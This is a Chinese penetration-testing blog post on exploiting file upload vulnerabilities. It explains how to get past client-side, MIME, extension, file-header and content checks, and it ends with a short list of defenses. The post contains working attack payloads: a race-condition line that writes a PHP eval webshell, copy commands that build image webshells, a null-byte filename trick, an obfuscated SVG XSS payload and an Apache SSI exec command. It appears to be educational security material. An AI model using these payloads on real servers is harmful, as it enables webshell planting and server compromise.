浅谈文件上传漏洞利用

前言:


实习工作以后,我才发现自己对于渗透测试还没形成自己的测试体系,对于一些常见的漏洞测试方法了解得不够全,更加认识到知识积累的重要性。总而言之,一入安全深似海~

文件上传漏洞利用条件:


1、上传的文件能被Web服务器当做脚本来执行
2、我们能够访问到上传文件的路径

代码审计基础:


关于 PHP 中 $_FILES 数组的使用方法:

$_FILES['file']['name'] # 客户端文件名称
$_FILES['file']['type'] # 文件的 MIME 类型
$_FILES['file']['size'] # 文件大小单位字节
$_FILES['file']['tmp_name'] # 文件被上传后在服务器端的临时文件名,可以在 php.ini 中指定

防御函数:

$file_name = trim($_FILES['upload_file']['name'])`;
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

文件上传常见校验方式:


  1. 服务端校验:
  • 文件头 content-type 字段校验
  • 文件内容头校验(GIF89a)
  • 后缀名黑名单校验
  • 后缀名白名单校验
  • 自定义正则校验
  • WAF设备校验(根据不同的 WAF 产品而定)
  1. 客户端 javascript 校验(一般只校验后缀名)

常见绕过方式:


  • PUT 方法:

WebDAV 是一种基于 HTTP 1.1 协议的通信协议.它扩展了 HTTP 1.1,在 GET、POST、HEAD 等几个 HTTP 标准方法以外添加了一些新的方法。使应用程序可直接对 Web Server 直接读写,并支持写文件锁定 (Locking) 及解锁 (Unlock),还可以支持文件的版本控制。

当 WebDAV 开启 PUT,MOVE,COPY,DELETE 方法时,攻击者就可以向服务器上传危险脚本文件。

PUT:由于PUT方法自身不带验证机制,利用PUT方法可以向服务器上传文件,所以恶意攻击者可以上传木马等恶意文件。
DELETE:利用DELETE方法可以删除服务器上特定的资源文件,造成恶意攻击。
OPTIONS:将会造成服务器信息暴露,如中间件版本、支持的HTTP方法等。
TRACE:可以回显服务器收到的请求,主要用于测试或诊断,一般都会存在反射型跨站漏洞

我们可以将请求方法设置为OPTIONS,来查看服务器支持的请求方法。有些网站开启了WebDAV,并且管理员配置不当,导致支持危险的HTTP方法:

  • JavaScript 校验:

客户端 JS 验证通常做法是验证上传文件的扩展名是否符合验证条件,我们可以去除input标签的accept属性
示例代码如下:

<?php
//文件上传漏洞演示脚本之js验证
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
            echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
        }
    } else {
        exit($uploaddir . '文件夹不存在,请手工创建!');
    }
    //print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
    <meta http-equiv="content-language" content="zh-CN"/>
    <title>文件上传漏洞演示脚本--JS验证实例</title>
    <script type="text/javascript">
       function checkFile() {
            var file = document.getElementsByName('upfile')[0].value;
            if (file == null || file == "") {
                alert("你还没有选择任何文件,不能上传!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //alert(ext_name);
            //alert(ext_name + "|");
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name + "|") == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" +     ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
<body>
<h3>文件上传漏洞演示脚本--JS验证实例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return     checkFile()">
    <input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
    请选择要上传的文件:<input type="file" name="upfile"/>
    <input type="submit" name="submit" value="上传"/>
</form>
</body>
</html>

直接通过 F12 修改 js 代码绕过验证:

或者使用 burp 抓包直接提交,绕过 js 验证

  • 服务器端校验之文件头 content-type 字段校验(服务端 MIME 类型检测):

MIME type 的缩写为 (Multipurpose Internet Mail Extensions) 代表互联网媒体类型 (Internet media type),MIME 使用一个简单的字符串组成,最初是为了标识邮件 Email 附件的类型,在 html 文件中可以使用 content-type 属性表示,描述了文件类型的互联网标准。

Response 对象通过设置 ContentType 使客户端浏览器,区分不同种类的数据,并根据不同的 MIME 调用浏览器内不同的程序嵌入模块来处理相应的数据。

MIME类型格式:

# 类别/子类别; 参数
Content-Type: [type]/[subtype]; parameter

MIME 主类别:

text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;
Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;
Application:用于传输应用程序数据或者二进制数据;
Message:用于包装一个 E-mail 消息;
Image:用于传输静态图片数据;
Audio:用于传输音频或者音声数据;
Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

常见MIME类型:

示例代码:

<?php
if($_FILE['userfile']['type'] != "image/gif"){ //检测content-type
    echo "sorry,we only allow uploading GIF images";
    exit;
}
else
{
    echo "Upload success!";
}
?>

绕过手段:

通过burp修改MIME type,抓包修改content-type为允许的上传类型:
image/jpeg、image/png、image/gif等等

  • 后缀名黑名单校验:

后端脚本检测文件扩展名,数据提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传 .php 、.asp 后缀格式的文件

示例代码:

#后端php检测
$info=pathinfo($_FILES["file"]["name"]);
    $ext=$info['extension'];// 得到文件扩展名
    if (strtolower($ext) == "php") {   #黑名单检测,不允许上传php格式的文件
            exit("不允许的后缀名");
          }

# 或者
<?php
$type = array("php","php3");
//判断上传文件类型
$fileext = fileext($_FILE['file']['name']);  # fileext函数用于获取文件名的后缀
if(!in_array($fileext,$type)){
    echo "upload success!";
}
else{
    echo "sorry";
}
?>
  • 服务端基于文件头检测:

不同的图片文件都有不同文件头,如:

jpg:FF D8 FF E0 00 10 4A 46 49 46
png: 89 50 4E 47 0D 0A 1A 0A 00 00
gif: 47 49 46 38 39 61 26 02 6F 01
zip: 50 4B 03 04
.doc;.xls;.xlt;.ppt;.apr: D0 CF 11 E0 A1 B1 1A E1

绕过方式:绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识

GIF89a
<?php phpinfo(); ?>

补充:jpg 格式图片头部是 JFIF ,gif头部是GIF89a,png头部是%PNG

  • 服务端文件内容拓展检测:

如果服务器对上传的文件进行了文件内容检测就只能上传图片了,但是可以利用图片和脚本文件制作一个图片马 如 1.jpg 和2.txt 前面的图片尽量要简单,不然容易干扰制作后的文件内容解析,后面的文档是需要执行的脚本文件:

copy /b 1.jpg + 2.txt = info.php
  • 双文件上传:

利用原理:

有两个文件默认是取第二个文件正常上传,但是检测值检测第一个文件,所以修改数据包的时候可以修改第一个文件为正常文件,第二个文件为脚本木马

  • 条件竞争上传:

原理:

上传文件时,服务器获取文件,先把它保存到临时文件中(不是网站根目录),然后再上传到网站根目录,最后才进行判断检测(即先上传后进行判断与删除)

利用思路:

利用一个时间差,使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell

利用代码:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
  • 其他绕过技巧:

1、多个分号绕过:文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data;name="file_x";;;filename="test.php"

2、多加一个filename(HPP):

3、多个Content-Disposition:

  • 绕过技巧小结:

  • 上传不符合 windows 文件命名规则的文件名
  • 大小写绕过:针对对大小写不敏感的系统如 windows:test.pHp
  • 空格绕过:用burp截断,后在文件名末尾添加空格:test.php(空格)
  • 在 windows 下,下划线是空格,保存文件时下划线被吃掉剩下 test.php:test.php_
  • 点号绕过:用burp截断,后在文件名末尾添加.:test.php.
  • 路径拼接绕过:最后一个点前有空格,适用于上传的文件名没有被修改:test.php. .
  • 特殊符合绕过:test.php::$DATA

上传以上文件名会被 windows 系统自动去掉不符合规则符号后面的内容

  • 00截断:

php5.3之前会把0x00当做结束符,绕过白名单:
php版本小于5.3.4时,可通过%00截断文件后缀名,如:filename="123.php%00.png"

  • Null Byte Injection空字节绕过:

插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中,一行以/00结尾或称为NullByte。因此,只要解释器在字符串的末尾看到一个空字节,就会停止读取,认为它已经到达字符串的末尾。

如,我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg,然后上传文件,在Burp中捕获请求,切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表,并将41('A')替换为00(为空字节)。结果字符串变为Happy.php(空).jpeg。由于php解释器在内部使用C语言库,它将停止读取Happy.php后的文件名,文件将保存为Happy.php。

补充:该手法也可尝试用于绕过waf,之前测试某省营业厅的时候通过空字节绕过导致XSS

  • 基于拓展名的绕过:

Asp:asa、cer、cdx、web.config
Aspx:ashx、asmx、ascx
Php:php2、php3、php5、phtml、pht、phpt
Jsp:jspx、jspf、jspa
perl:pl、pm、cgi、lib
Coldfusion:cfm、cfml、cfc、dbm

  • 利用 NTFS ADS 特性
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

详情请参考:NTFS ADS的前世今生

  • Linux主机上的文件名大小写敏感,文件后缀名大小混写
  • 配合解析漏洞:

解析漏洞一般配合图片马进行利用:
制作图片马:

copy a.jpg /b + shell.php /a webshell.jpg

因为篇幅原因,不过多介绍,详情请参考:服务器针对文件的解析漏洞汇总

  • 超长文件名截断上传:windows 258byte | linux 4096byte
  • 配合 .user.ini 配置文件本地包含文件,详情请参考:.user.ini配置文件在渗透中的利用
  • 配合 Apache 的 .htaccess 文件上传解析漏洞(测试失败,待解决

htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。它可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

利用前提:

要在Apache中启动执行.htaccess,必须在http.conf中设置AllowOverride All(默认为None),并且启动Rewrite模块

编写.htaccess,内容编辑为:

AddType application/x-httpd-php .jpg

.htaccess 文件里的代码可以让 .jpg 后缀名文件格式的文件名以 php 格式解析

补充:


有时候翻看站点的js文件时会发现其泄露了文件上传的接口地址,这时我们可以构造一个本地的文件上传,并用Burp抓包post到该路径,这里我以pikachu靶场举例:

构造一个本地的文件上传:

<form action="http://192.168.107.145/pikachu1/vul/unsafeupload/clientcheck.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="uploadfile" id="uploadfile">
    <br>
    <input type="submit" name="submit" value="submit">
</form>

成功上传文件:

小伙伴们可以参考:从代码审计到拿下某菠菜客服站(文末抽奖送书)

上传 HTML 文件:


很多网站采用黑名单的过滤机制,但是他们忘记了过滤 html 文件,这就造成了上传html文件形成存储型XSS或者利用html文件进行钓鱼。

# 1.html
<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>%0APayload

Bypass Waf技巧请参考:简单粗暴的文件上传漏洞

防御手段:


  1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等
  2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等
  3. 服务器端上传目录设置不可执行权限
  4. 检查网站有没有文件解析漏洞和文件包含漏洞
  5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

Apache SSI 远程命令执行漏洞:


在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件

SSI:提供了一种对现有HTML文档增加动态内容的方法,不需要编写复杂的JSP/PHP/ASP等程序或者调用CGI程序

利用如下语法即可执行任意命令:

<!--#exec cmd="id" -->

成功上传,然后访问shell.shtml,可见命令已成功执行:

参考如下:


Web漏洞|不安全的HTTP方法
简单粗暴的文件上传漏洞
Web漏洞 | 文件上传漏洞

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容